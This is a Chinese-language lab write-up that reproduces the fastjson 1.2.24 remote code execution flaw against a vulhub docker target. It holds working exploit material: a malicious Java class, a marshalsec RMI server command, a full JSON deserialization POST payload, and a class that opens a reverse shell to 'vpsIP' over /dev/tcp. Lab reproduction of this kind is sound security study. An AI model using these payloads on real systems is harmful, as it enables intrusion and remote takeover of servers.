漏洞复现-fastjson1.2.24-RCE
0x00 实验环境
攻击机:Win 10、Win Server2012 R2(公网环境,恶意java文件所在服务器)
靶机也可作为攻击机:Ubuntu18 (公网环境,docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)
0x01 影响版本
fastjson<=1.2.24
0x02 避坑指南
(1)Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本
(2)确保清楚知道自己在做什么
(3)python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用
python -m http.server 6666
0x03 实验步骤
首先,进入靶场环境,我们可以看到这个漏洞平台:
以上为普通的json格式的数据上传
我们应该做的第一件事是判断该网站是否存在fastjson漏洞,这个我暂时还没研究出来,先复现一下吧。
首先第一件事就是要准备好实验环境:假设我的攻击主机使用的是一台,那么,这个逻辑是:
Ubuntu的8090端口存放靶场
Ubuntu的4444端口使用python开启一个简易的web站点(实验中我并未使用这个方法,而是直接使用了另一台在公网上的win server 2012R2的服务器搭建的web)
Ubuntu的2333端口监听反弹过来的shell
还有一个比较重要的问题就是,攻击思路为:使用Ubuntu的java加载一个调用恶意文件的环境,再使用该环境远程加载一个恶意类,达到借刀进行命令执行的效果。
思路理清了我们就正式开始此次复现。
(1)在以下链接下载marshalsec辅助开启JAVA RMI环境:
地址:git clone https://github.com/mbechler/marshalsec
(2)由于我的Ubuntu为最新18版本,内置的java环境为11,因此在复现过程中无法成功开启rmi服务,你可以先使用以下Tips安装java1.8环境:
Tips:安装好1.8版本的java后(具体请参考网上的其他java环境安装教程),替换java的环境:
update-alternatives --config java
ubuntu如何安装配置JDK1.8:
https://jingyan.baidu.com/article/6dad5075237536a123e36e0c.html
(3)由于我的环境已经安装好恶意调用java的RMI服务,因此这里仅提供以下编译环境的命令,编译成功会出现绿色的"BUILD SUCCESS"字样:
mvn clean package -DskipTests
(4)安装完成好后,新建一个java脚本,命名为TouchFile.java,这个文件的作用大致就是使用java创建一个文件,如下为其所有代码,本意为在靶场的tmp目录下创建一个名为success的文件:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(5)在此之前,我需要说明的是,实验我已经复现成功了,所以我已经先把success的文件做删除,这里证明一下。使用以下命令进行docker容器:
然后进入到tmp目录下查询success的文件并将其删除:
(6)开始复现,在我的Win Server2012 R2上搭建一个web服务,将上述的java文件编译好后放入跟目录:
java编译.class的命令为:
javac TouchFile.java
(7)然后我们在自己的服务上,进入到自己下载的辅助搭建RMI服务的工具的target目录内:marshalsec/target/。存在以下两个可以调用开启RMI服务的jar包
使用以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 9999
这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。
(8)刷新靶场的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:
payload:
POST / HTTP/1.1 Host: IP:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 164 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://IP:9999/TouchFile", "autoCommit":true } }
在docker的靶场环境内,成功执行创建文件的命令:
反弹shell的步骤仅仅是照葫芦画瓢,修改.java的恶意加载文件,恶意java文件修改为反弹shell的命令,然后编译为.class,然后传到web站点:
重要的payload放置如下:
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/2333 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
反弹成功:
0x04 实验原理
fastjson版本:1.2.22-1.2.24。这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。
主要由于利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce